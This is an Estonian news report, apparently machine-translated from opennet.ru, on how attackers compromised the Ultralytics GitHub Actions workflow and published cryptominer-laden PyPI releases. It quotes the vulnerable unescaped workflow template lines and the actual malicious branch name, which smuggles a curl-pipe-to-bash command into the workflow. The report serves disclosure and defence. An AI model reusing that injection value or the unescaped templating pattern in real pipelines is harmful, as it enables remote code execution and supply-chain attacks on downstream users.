GitHub Actions'i töötleja viga viis Ultralytics'i pahatahtlike vÀljaannete avaldamiseni.

KĂŒberkurjategijad suutsid tĂ€ita koodi GitHub Actionsi Ă”igustes Ultralytics Python'i raamatukogus, mida kasutatakse arvutinĂ€gemise probleemide lahendamiseks, nagu objektide tuvastamine piltidel ja piltide segmentimine. PĂ€rast repositooriumisse pÀÀsemist avaldasid rĂŒndajad PyPI kataloogis mitmeid uusi Ultralytics versioone, mis sisaldasid pahatahtlikke muudatusi krĂŒptovaluuta kaevandamiseks. Viimase kuu jooksul on Ultralytics raamatukogu PyPI kataloogist alla laaditud ĂŒle 6,4 miljoni korra.

Repo kompromiteerimiseks kasutati haavatavust paketis ultralytics-actions, mis on mĂ”eldud automaatsete töötlejate kĂ€ivitamiseks teatud toimingute tegemisel GitHubis, kasutades GitHub Actions'i mekanismi. Ultralyitics projektis kinnitati haavatav töötleja pull_request_target sĂŒndmusele ja kutsuti esile uute pull-taotluste saamisel. EelkĂ”ige koodi vormindamiseks esitatud pull-taotlustes kutsuti esile töötleja format.yml ning tĂ€ideti action.yml faili 'run' sektsioonis esitatud kood, kus olid shell-kĂ€sklused jĂ€rgmiste asendusmallidega: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name «${{ inputs.github_username }}» git config —global user.email «${{ inputs.github_email }}»

Nii viidi shell-kÀsklusesse ilma sobiva escaping'ita Git haru nimi, mida mainiti pull-taotluses. Oluline on mÀrkida, et augustis parandati paketis ultralytics-actions sarnane haavatavus, mis oli seotud vÀlise vÀÀrtuse kasutamisega funktsioonis echo: echo «github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}»

EttevĂ”tte koodi tĂ€itmiseks GitHub Actions kontekstis saatsid rĂŒndajad pull-requesti ultralytics'ile, mĂ€rkides haru nimeks: openimbot:$(curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh${IFS}|${IFS}bash)

Seega, kui pull-request jĂ”udis koodi, asendati rĂŒndajate mÀÀratud string «$(
)», mis kĂ€ivitas jĂ€rgmise kĂ€su töötlejana: «curl -sSfL raw.githubusercontent.com/.../file.sh | bash».

GitHub Actions'i töötleja viga viis Ultralytics'i pahatahtlike vÀljaannete avaldamiseni.

Koodi kĂ€ivitamine GitHub Actions kontekstis vĂ”ib olla kasutatud juurdepÀÀsutokeni ja teiste konfidentsiaalsete andmete pĂŒĂŒdmiseks. Kuidas rĂŒndajad suutsid vormistada vĂ€ljaande, omades vĂ”imalust oma koodi tĂ€itmiseks GitHub Actions's, ei ole veel tĂ€pselt selge. Eeldatakse, et see sai vĂ”imalikuks publish.yml töötleja muutmise kaudu (rĂŒndajad eemaldasid lubatud arvesti kontrolli, millega on lubatud vĂ€ljaannete avaldamine PyPI's) ja GitHub Actions'i ehituskahe mĂŒrgitamise tehnika kasutamise tĂ”ttu, et sisestada oma andmed vĂ€ljaandesse.

Ultralytics 8.3.41 esimene pahavara versioon avaldati rĂŒndajate poolt PyPI kataloogis 4. detsembril kell 23:51 (MSK) ja kustutati jĂ€rgmisel pĂ€eval kell 12:15. Kell 15:47 postitati veel ĂŒks versioon 8.3.42, mis kustutati kell 16:47. Seega olid pahavara versioonid kokku saadaval allalaadimiseks umbes 13 tundi (PyPI-s registreeritakse iga pĂ€ev umbes 250 000 ultralytics teegi allalaadimist). Versioonide 8.3.41 ja 8.3.42 koosseisus oli kood, mis laadis vĂ€list serverid komponenti XMRig krĂŒptovaluutade kaevandamiseks.

Projekti arendajad lahendasid probleemi ja koostasid parandatud versioonid 8.3.43 ja 8.3.44, kuid kaks pĂ€eva hiljem toimus veel ĂŒks rĂŒnnak, mille kĂ€igus avaldasid rĂŒndajad tĂ€na kell 04:41 ja 05:27 (MSK) kaks tĂ€iendavat pahavara versiooni — 8.3.45 ja 8.3.46, mis sisaldavad teistsugust kaevandamiskoodi. Enne uurimise lĂ”petamist soovitatakse kasutajatel hoiduda uute versioonide installimisest ja lukustada sĂ”ltuvustes versioon 8.3.44.

Allikas: opennet.ru

Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid đŸ”„ Osta usaldusvÀÀrne veebihosting DDoS kaitsega, VPS VDS serverid | ProHoster